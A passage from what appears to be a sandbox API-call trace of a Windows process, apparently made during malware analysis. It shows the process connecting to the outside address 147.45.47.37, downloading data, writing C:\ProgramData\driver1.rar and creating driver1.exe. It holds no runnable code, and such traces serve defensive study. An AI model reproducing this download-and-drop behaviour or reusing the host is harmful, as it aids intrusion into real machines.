bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0181.669] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0181.669] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b3bf590, ulCount=0x10, ulNumEntriesRemoved=0x4b3bf560, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b3bf590, ulNumEntriesRemoved=0x4b3bf560) returned 0 [0181.669] SetEvent (hEvent=0x1ac) returned 1 [0181.669] SetEvent (hEvent=0x1b8) returned 1 [0181.669] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b3bfcd8*=0x114, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0181.680] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0181.683] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x4d420000 [0181.687] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0181.692] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0181.695] SetEvent (hEvent=0x1ac) returned 1 [0181.695] SetEvent (hEvent=0xec) returned 1 [0181.695] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0184.058] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0184.061] SetEvent (hEvent=0x1ac) returned 1 [0184.061] SetEvent (hEvent=0xec) returned 1 [0184.061] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0184.131] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0184.161] SetEvent (hEvent=0x1ac) returned 1 [0184.161] SetEvent (hEvent=0xec) returned 1 [0184.161] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0184.219] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0184.601] SetEvent (hEvent=0x1b8) returned 1 [0184.602] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4b3bf6d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4b3bf6d8*=0x1c4) returned 1 [0184.602] SuspendThread (hThread=0x1c4) returned 0x0 [0184.602] GetThreadContext (in: hThread=0x1c4, lpContext=0x4b3bf6f0 | out: lpContext=0x4b3bf6f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9ce0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe21f1f, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0184.604] ResumeThread (hThread=0x1c4) returned 0x1 [0184.604] CloseHandle (hObject=0x1c4) returned 1 [0184.617] SwitchToThread () returned 1 [0184.623] VirtualAlloc (lpAddress=0xc000ac0000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000ac0000 [0184.623] SetEvent (hEvent=0x1b8) returned 1 [0184.625] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b3bfcc8*=0x114, bWaitAll=0, dwMilliseconds=0x1) returned 0x0 [0184.628] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b3bfcc8*=0x114, bWaitAll=0, dwMilliseconds=0x1) returned 0x0 [0184.636] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b3bf590, ulCount=0x10, ulNumEntriesRemoved=0x4b3bf560, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b3bf590, ulNumEntriesRemoved=0x4b3bf560) returned 0 [0184.636] SetEvent (hEvent=0x1b8) returned 1 [0184.636] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b3bfcd8*=0x114, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0184.727] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0184.729] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0190.306] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0190.508] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0191.945] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0283.100] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b3bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b3bf438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b3bf468, ulNumEntriesRemoved=0x4b3bf438) returned 0 [0283.100] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b3bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b3bf438, dwMilliseconds=0x19c2, fAlertable=0 | out: lpCompletionPortEntries=0x4b3bf468, ulNumEntriesRemoved=0x4b3bf438) returned 1 [0284.056] WSAGetOverlappedResult (in: s=0x1f4, lpOverlapped=0xc0007165e8, lpcbTransfer=0x4b3bf434, fWait=0, lpdwFlags=0x4b3bf440 | out: lpcbTransfer=0x4b3bf434, lpdwFlags=0x4b3bf440) returned 1 [0284.057] setsockopt (s=0x1f4, level=65535, optname=28688, optval="ô\x01", optlen=8) returned 0 [0284.057] SetEvent (hEvent=0x124) returned 1 [0284.057] getsockname (in: s=0x1f4, name=0xc00065907c, namelen=0xc000659078 | out: name=0xc00065907c*(sa_family=2, sin_port=0xc28b, sin_addr="192.168.0.30"), namelen=0xc000659078) returned 0 [0284.057] getpeername (in: s=0x1f4, name=0xc00065907c, namelen=0xc000659078 | out: name=0xc00065907c*(sa_family=2, sin_port=0x5d0, sin_addr="147.45.47.37"), namelen=0xc000659078) returned 0 [0284.058] setsockopt (s=0x1f4, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0284.058] setsockopt (s=0x1f4, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0284.058] WSAIoctl (in: s=0x1f4, dwIoControlCode=0x98000004, lpvInBuffer=0xc0006592c4, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0xc0006592b4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0xc0006592b4, lpOverlapped=0x0) returned 0 [0284.059] VirtualAlloc (lpAddress=0xc00074c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00074c000 [0284.060] VirtualAlloc (lpAddress=0xc00074e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00074e000 [0284.061] VirtualAlloc (lpAddress=0xc000750000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000750000 [0284.062] WSARecv (in: s=0x1f4, lpBuffers=0xc000716558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000716548, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000716558*=((len=0x1000, buf=0xc00074e000*)), lpNumberOfBytesRecvd=0xc000716548*=0x0, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518) returned 0 [0284.063] WSASend (in: s=0x1f4, lpBuffers=0xc000716628*=((len=0x6f, buf=0xc00074f000*)), dwBufferCount=0x1, lpNumberOfBytesSent=0xc000716618, dwFlags=0x0, lpOverlapped=0xc0007165e8, lpCompletionRoutine=0x0 | out: lpNumberOfBytesSent=0xc000716618*=0x6f, lpOverlapped=0xc0007165e8) returned 0 [0284.065] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b3bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b3bf438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b3bf468, ulNumEntriesRemoved=0x4b3bf438) returned 0 [0284.065] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b3bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b3bf438, dwMilliseconds=0x15fc, fAlertable=0 | out: lpCompletionPortEntries=0x4b3bf468, ulNumEntriesRemoved=0x4b3bf438) returned 1 [0284.160] WSAGetOverlappedResult (in: s=0x1f4, lpOverlapped=0xc000716518, lpcbTransfer=0x4b3bf434, fWait=0, lpdwFlags=0x4b3bf440 | out: lpcbTransfer=0x4b3bf434, lpdwFlags=0x4b3bf440) returned 1 [0284.161] SetEvent (hEvent=0x124) returned 1 [0284.164] GetProcAddress (hModule=0x7fffcb440000, lpProcName="WriteFile") returned 0x7fffcb464f70 [0284.164] WriteFile (in: hFile=0x1ec, lpBuffer=0xc00065a000*, nNumberOfBytesToWrite=0xf04, lpNumberOfBytesWritten=0xc0006d5a54, lpOverlapped=0x0 | out: lpBuffer=0xc00065a000*, lpNumberOfBytesWritten=0xc0006d5a54*=0xf04, lpOverlapped=0x0) returned 1 [0284.165] WSARecv (in: s=0x1f4, lpBuffers=0xc000716558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000716548, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000716558*=((len=0x8000, buf=0xc00065a000*)), lpNumberOfBytesRecvd=0xc000716548*=0x8000, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518) returned 0 [0284.166] WriteFile (in: hFile=0x1ec, lpBuffer=0xc00065a000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0006d5a54, lpOverlapped=0x0 | out: lpBuffer=0xc00065a000*, lpNumberOfBytesWritten=0xc0006d5a54*=0x8000, lpOverlapped=0x0) returned 1 [0284.167] WSARecv (in: s=0x1f4, lpBuffers=0xc000716558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000716548, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000716558*=((len=0x8000, buf=0xc00065a000*)), lpNumberOfBytesRecvd=0xc000716548*=0x8000, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518) returned 0 [0284.169] WriteFile (in: hFile=0x1ec, lpBuffer=0xc00065a000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0006d5a54, lpOverlapped=0x0 | out: lpBuffer=0xc00065a000*, lpNumberOfBytesWritten=0xc0006d5a54*=0x8000, lpOverlapped=0x0) returned 1 [0284.170] WSARecv (in: s=0x1f4, lpBuffers=0xc000716558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000716548, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000716558*=((len=0x8000, buf=0xc00065a000*)), lpNumberOfBytesRecvd=0xc000716548*=0x8000, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518) returned 0 [0284.170] WriteFile (in: hFile=0x1ec, lpBuffer=0xc00065a000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0006d5a54, lpOverlapped=0x0 | out: lpBuffer=0xc00065a000*, lpNumberOfBytesWritten=0xc0006d5a54*=0x8000, lpOverlapped=0x0) returned 1 [0284.170] WSARecv (in: s=0x1f4, lpBuffers=0xc000716558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000716548, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000716558*=((len=0x8000, buf=0xc00065a000*)), lpNumberOfBytesRecvd=0xc000716548*=0x8000, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518) returned 0 [0284.170] WriteFile (in: hFile=0x1ec, lpBuffer=0xc00065a000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0006d5a54, lpOverlapped=0x0 | out: lpBuffer=0xc00065a000*, lpNumberOfBytesWritten=0xc0006d5a54*=0x8000, lpOverlapped=0x0) returned 1 [0284.171] WSARecv (in: s=0x1f4, lpBuffers=0xc000716558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000716548, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000716558*=((len=0x8000, buf=0xc00065a000*)), lpNumberOfBytesRecvd=0xc000716548*=0x8000, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518) returned 0 [0284.171] WriteFile (in: hFile=0x1ec, lpBuffer=0xc00065a000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0006d5a54, lpOverlapped=0x0 | out: lpBuffer=0xc00065a000*, lpNumberOfBytesWritten=0xc0006d5a54*=0x8000, lpOverlapped=0x0) returned 1 [0284.172] WSARecv (in: s=0x1f4, lpBuffers=0xc000716558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000716548, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000716558*=((len=0x8000, buf=0xc00065a000*)), lpNumberOfBytesRecvd=0xc000716548*=0x8000, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518) returned 0 [0284.172] WriteFile (in: hFile=0x1ec, lpBuffer=0xc00065a000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0006d5a54, lpOverlapped=0x0 | out: lpBuffer=0xc00065a000*, lpNumberOfBytesWritten=0xc0006d5a54*=0x8000, lpOverlapped=0x0) returned 1 [0284.173] WSARecv (in: s=0x1f4, lpBuffers=0xc000716558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000716548, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000716558*=((len=0x8000, buf=0xc00065a000*)), lpNumberOfBytesRecvd=0xc000716548*=0x8000, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518) returned 0 [0284.173] WriteFile (in: hFile=0x1ec, lpBuffer=0xc00065a000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0006d5a54, lpOverlapped=0x0 | out: lpBuffer=0xc00065a000*, lpNumberOfBytesWritten=0xc0006d5a54*=0x8000, lpOverlapped=0x0) returned 1 [0284.174] WSARecv (in: s=0x1f4, lpBuffers=0xc000716558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000716548, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000716558*=((len=0x8000, buf=0xc00065a000*)), lpNumberOfBytesRecvd=0xc000716548*=0x8000, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518) returned 0 [0284.174] WriteFile (in: hFile=0x1ec, lpBuffer=0xc00065a000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0006d5a54, lpOverlapped=0x0 | out: lpBuffer=0xc00065a000*, lpNumberOfBytesWritten=0xc0006d5a54*=0x8000, lpOverlapped=0x0) returned 1 [0284.176] WSARecv (in: s=0x1f4, lpBuffers=0xc000716558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000716548, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000716558*=((len=0x1000, buf=0xc00074e000*)), lpNumberOfBytesRecvd=0xc000716548*=0x5a, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518) returned 0 [0284.176] WSARecv (in: s=0x1f4, lpBuffers=0xc000716558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000716548, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000716558*=((len=0x1000, buf=0xc00074e000*)), lpNumberOfBytesRecvd=0xc000716548*=0x5a, lpFlags=0xc0007165c8*=0x0, lpOverlapped=0xc000716518) returned 0 [0284.176] WriteFile (in: hFile=0x1ec, lpBuffer=0xc00065a000*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0006d5a54, lpOverlapped=0x0 | out: lpBuffer=0xc00065a000*, lpNumberOfBytesWritten=0xc0006d5a54*=0x5a, lpOverlapped=0x0) returned 1 [0284.176] CloseHandle (hObject=0x1ec) returned 1 [0284.185] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c300*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc0006d5838, lpReserved=0x0 | out: lpBuffer=0xc00086c300*, lpNumberOfCharsWritten=0xc0006d5838*=0x9) returned 1 [0284.284] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c318*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc0006d5838, lpReserved=0x0 | out: lpBuffer=0xc00086c318*, lpNumberOfCharsWritten=0xc0006d5838*=0x9) returned 1 [0284.361] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c330*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc0006d5838, lpReserved=0x0 | out: lpBuffer=0xc00086c330*, lpNumberOfCharsWritten=0xc0006d5838*=0x9) returned 1 [0284.455] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c348*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc0006d5838, lpReserved=0x0 | out: lpBuffer=0xc00086c348*, lpNumberOfCharsWritten=0xc0006d5838*=0x9) returned 1 [0284.535] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c360*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc0006d5838, lpReserved=0x0 | out: lpBuffer=0xc00086c360*, lpNumberOfCharsWritten=0xc0006d5838*=0x9) returned 1 [0284.567] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c378*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc0006d5838, lpReserved=0x0 | out: lpBuffer=0xc00086c378*, lpNumberOfCharsWritten=0xc0006d5838*=0x9) returned 1 [0284.608] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c408*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc0006d5838, lpReserved=0x0 | out: lpBuffer=0xc00086c408*, lpNumberOfCharsWritten=0xc0006d5838*=0x9) returned 1 [0284.678] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c420*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc0006d5838, lpReserved=0x0 | out: lpBuffer=0xc00086c420*, lpNumberOfCharsWritten=0xc0006d5838*=0x9) returned 1 [0284.693] CreateFileW (lpFileName="C:\\ProgramData\\driver1.rar" (normalized: "c:\\programdata\\driver1.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x1ec [0284.693] GetConsoleMode (in: hConsoleHandle=0x1ec, lpMode=0xc0006d5c5c | out: lpMode=0xc0006d5c5c) returned 0 [0284.693] GetFileType (hFile=0x1ec) returned 0x1 [0284.694] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc0006d598c, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc0006d598c*=0x1000, lpOverlapped=0x0) returned 1 [0284.720] VirtualAlloc (lpAddress=0xc000ae0000, dwSize=0x100000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000ae0000 [0284.727] GetFileAttributesExW (in: lpFileName="C:\\ProgramData" (normalized: "c:\\programdata"), fInfoLevelId=0x0, lpFileInformation=0xc00067b9d0 | out: lpFileInformation=0xc00067b9d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xc864c860, ftCreationTime.dwHighDateTime=0x1d5acde, ftLastAccessTime.dwLowDateTime=0x634c7545, ftLastAccessTime.dwHighDateTime=0x1dac836, ftLastWriteTime.dwLowDateTime=0x634c7545, ftLastWriteTime.dwHighDateTime=0x1dac836, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0284.727] CreateFileW (lpFileName="C:\\ProgramData\\driver1.exe" (normalized: "c:\\programdata\\driver1.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0284.728] GetConsoleMode (in: hConsoleHandle=0x1a0, lpMode=0xc00067bc5c | out: lpMode=0xc00067bc5c) returned 0 [0284.728] GetFileType (hFile=0x1a0) returned 0x1 [0284.728] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.728] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.729] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.729] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.729] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.729] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.730] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.730] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.730] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.731] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, lpNumberOfBytesRead=0xc00067b5bc*=0x1000, lpOverlapped=0x0) returned 1 [0284.731] ReadFile (in: hFile=0x1ec, lpBuffer=0xc0004c2000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xc00067b5bc, lpOverlapped=0x0 | out: lpBuffer=0xc0004c2000*, 